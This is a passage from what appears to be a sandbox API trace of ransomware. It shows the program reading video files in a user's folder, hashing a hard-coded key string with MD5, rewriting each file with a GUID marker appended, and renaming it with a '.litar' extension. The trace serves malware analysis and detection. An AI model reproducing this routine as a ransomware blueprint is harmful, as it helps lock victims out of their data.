(lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.608] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.609] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.609] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.609] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.609] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.609] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.609] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.609] GetLastError () returned 0x0 [0125.610] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.610] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16cc0) returned 0x30fa0b0 [0125.610] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.610] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x16cb1, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x16cb1, lpOverlapped=0x0) returned 1 [0125.611] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.611] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x16cb6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.611] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30754f0 [0125.611] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.611] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.611] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.611] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30754f0 | out: hHeap=0x5c0000) returned 1 [0125.611] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.611] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.611] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.611] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.611] CloseHandle (hObject=0x624) returned 1 [0125.612] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30754f0 [0125.612] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x870) returned 0x30fa0b0 [0125.612] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30754f0 | out: hHeap=0x5c0000) returned 1 [0125.612] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\M2Hq1q.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\m2hq1q.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\M2Hq1q.mp4.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\m2hq1q.mp4.litar")) returned 1 [0125.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.613] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.614] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaccb270, ftCreationTime.dwHighDateTime=0x1d4d33d, ftLastAccessTime.dwLowDateTime=0xab69fa70, ftLastAccessTime.dwHighDateTime=0x1d4d3f3, ftLastWriteTime.dwLowDateTime=0xab69fa70, ftLastWriteTime.dwHighDateTime=0x1d4d3f3, nFileSizeHigh=0x0, nFileSizeLow=0x9e4a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="thMFQm.flv", cAlternateFileName="")) returned 1 [0125.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.614] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\thMFQm.flv") returned=".flv" [0125.614] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\thMFQm.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\thmfqm.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.614] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=40522) returned 1 [0125.614] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.616] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.616] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.617] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.617] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x9e4a, lpOverlapped=0x0) returned 1 [0125.618] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.618] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.618] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.618] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.619] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.619] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.619] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.619] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.619] GetLastError () returned 0x0 [0125.619] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.619] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x9e50) returned 0x30fa0b0 [0125.619] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.620] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.620] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x9e45, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x9e45, lpOverlapped=0x0) returned 1 [0125.620] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.620] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9e4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.620] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30754f0 [0125.620] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.620] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.620] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.620] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30754f0 | out: hHeap=0x5c0000) returned 1 [0125.620] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.620] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.620] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.620] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.620] CloseHandle (hObject=0x624) returned 1 [0125.621] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30754f0 [0125.621] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x870) returned 0x30fa0b0 [0125.621] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30754f0 | out: hHeap=0x5c0000) returned 1 [0125.621] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\thMFQm.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\thmfqm.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\thMFQm.flv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\thmfqm.flv.litar")) returned 1 [0125.622] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.622] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.623] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7416f230, ftCreationTime.dwHighDateTime=0x1d4cd22, ftLastAccessTime.dwLowDateTime=0x12d8cc60, ftLastAccessTime.dwHighDateTime=0x1d4c894, ftLastWriteTime.dwLowDateTime=0x12d8cc60, ftLastWriteTime.dwHighDateTime=0x1d4c894, nFileSizeHigh=0x0, nFileSizeLow=0x115f3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vLbfj.mp4", cAlternateFileName="")) returned 1 [0125.623] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.623] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.623] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vLbfj.mp4") returned=".mp4" [0125.623] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vLbfj.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vlbfj.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.625] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=71155) returned 1 [0125.625] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.627] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x115cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.627] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.628] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.628] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x115f3, lpOverlapped=0x0) returned 1 [0125.629] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.629] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.629] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.629] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.629] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.630] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.630] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.630] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.630] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.630] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.630] GetLastError () returned 0x0 [0125.630] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.630] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.630] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.630] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x115f0) returned 0x30fa0b0 [0125.630] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.630] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.630] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x115ee, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x115ee, lpOverlapped=0x0) returned 1 [0125.631] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.631] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x115f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.631] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30754f0 [0125.631] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.631] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.631] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.631] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30754f0 | out: hHeap=0x5c0000) returned 1 [0125.631] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.631] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.631] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.631] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.631] CloseHandle (hObject=0x624) returned 1 [0125.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30754f0 [0125.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x870) returned 0x30fa0b0 [0125.632] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30754f0 | out: hHeap=0x5c0000) returned 1 [0125.632] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vLbfj.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vlbfj.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vLbfj.mp4.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vlbfj.mp4.litar")) returned 1 [0125.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.633] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.634] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b07f8c0, ftCreationTime.dwHighDateTime=0x1d4c9c4, ftLastAccessTime.dwLowDateTime=0xe10730d0, ftLastAccessTime.dwHighDateTime=0x1d4d10a, ftLastWriteTime.dwLowDateTime=0xe10730d0, ftLastWriteTime.dwHighDateTime=0x1d4d10a, nFileSizeHigh=0x0, nFileSizeLow=0x4f1b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VvaG-iQ-9rXlD9Y.mkv", cAlternateFileName="VVAG-I~1.MKV")) returned 1 [0125.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.634] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VvaG-iQ-9rXlD9Y.mkv") returned=".mkv" [0125.634] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VvaG-iQ-9rXlD9Y.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vvag-iq-9rxld9y.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.634] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=20251) returned 1 [0125.634] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.636] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x4ef5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.636] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.637] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.637] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x4f1b, lpOverlapped=0x0) returned 1 [0125.638] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.638] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.638] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.638] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.639] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.639] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.639] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.639] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.639] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.639] GetLastError () returned 0x0 [0125.639] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.639] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.639] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.639] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4f20) returned 0x30fa0b0 [0125.639] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.640] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.640] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x4f16, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x4f16, lpOverlapped=0x0) returned 1 [0125.640] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.640] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x4f1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.640] 